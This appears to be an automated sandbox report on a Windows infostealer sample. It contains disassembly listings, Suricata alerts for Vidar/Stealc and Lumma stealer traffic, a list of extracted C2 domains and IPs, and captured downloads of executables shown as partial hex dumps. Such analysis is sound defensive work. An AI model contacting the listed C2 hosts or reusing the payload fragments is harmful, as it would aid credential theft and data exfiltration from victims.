Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035A004
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035A08D
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx esi, byte ptr [edx+eax-01h]	8_2_003340E8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*4+000000ACh]	8_2_003340E8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_0033C16C
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov word ptr [edx], ax	8_2_00352158
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	8_2_0033E1F1
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035A3E0
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_0033E448
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035A3D9
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx ecx, word ptr [edi]	8_2_003524F8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov ebx, eax	8_2_00332558
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov ebp, eax	8_2_00332558
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp al, 2Eh	8_2_003546B7
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+14h]	8_2_003526A8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then jmp eax	8_2_00352778
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_003549E3
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	8_2_0032CA28
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035AA72
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0036EABD
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0036EB32
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	8_2_0036CB68
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then jmp dword ptr [00451A70h]	8_2_00356C40
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	8_2_00348C49
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	8_2_0033AD3A
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00356D18
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx eax, byte ptr [ebx+edx-06h]	8_2_0032ED08
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx esi, byte ptr [edx+ebp]	8_2_0032ED08
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	8_2_00354E06
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	8_2_0033AE05
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035AE60
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035AE60
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0035AE60
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0035AE60
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	8_2_00342ED8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	8_2_0034EEC8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_00348FA8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov esi, ebx	8_2_00370F90
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0033B034
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00351018
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0036D063
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	8_2_003470AE
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0034F128
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0034F128
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov dword ptr [esp+34h], edx	8_2_003291CA
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_0033D225
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_0033D215
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov dword ptr [esp+08h], ecx	8_2_0032925D
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000688h]	8_2_003452C4
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then dec ebx	8_2_003672C8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], D518DBA1h	8_2_003673B8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], D1A85EEEh	8_2_003673B8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_003553BA
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov dword ptr [esp+18h], 3602043Ah	8_2_003573A0
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov dword ptr [esp+50h], 00000000h	8_2_0033D394
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_003493D1
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	8_2_0036F508
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	8_2_00369578
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000D0h]	8_2_0034560A
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+68h]	8_2_0036F6F8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [ebp-000000C0h]	8_2_003377EF
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	8_2_003558E2
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_003718E8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	8_2_003638C8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	8_2_0036BA38
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp byte ptr [ebp+ebx+00h], 00000000h	8_2_00355A23
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_00371A78
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then jmp dword ptr [0045042Ch]	8_2_00347A4B
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+54h]	8_2_00347A89
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0035BAD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0035BAD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0035BAD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0035BAD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	8_2_0032DAD8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	8_2_00337AD8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	8_2_00353B2E
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_0033BBF4
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	8_2_00371BF8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	8_2_00371BF8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_0036BC78
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp eax, C0000004h	8_2_00345CD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then xor eax, eax	8_2_00353DCE
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then jmp eax	8_2_0033DE12
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 69F07BF2h	8_2_0034FE00
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00335E98
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	8_2_00335E98
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 64567875h	8_2_0036BF18
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	8_2_0036FF78
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	8_2_00357F88

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49745 -> 141.98.233.156:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 141.98.233.156:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 141.98.233.156:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2056394 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (absorptioniw .site) : 192.168.2.4:63578 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056402 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionsmw .store) : 192.168.2.4:53531 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056392 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abnomalrkmu .site) : 192.168.2.4:52021 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chorusarorp .site) : 192.168.2.4:60166 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056406 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snarlypagowo .site) : 192.168.2.4:63119 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056400 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mysterisop .site) : 192.168.2.4:54848 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056410 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (treatynreit .site) : 192.168.2.4:63998 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:57018 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2056408 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soldiefieop .site) : 192.168.2.4:58481 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:57019 -> 104.21.93.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57019 -> 104.21.93.202:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: soldiefieop.site
Source: Malware configuration extractor	URLs: chorusarorp.site
Source: Malware configuration extractor	URLs: absorptioniw.site
Source: Malware configuration extractor	URLs: questionsmw.stor
Source: Malware configuration extractor	URLs: treatynreit.site
Source: Malware configuration extractor	URLs: abnomalrkmu.site
Source: Malware configuration extractor	URLs: mysterisop.site
Source: Malware configuration extractor	URLs: snarlypagowo.site
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic

TCP traffic: 192.168.2.4:57012 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:26 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:32 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:32 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:33 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 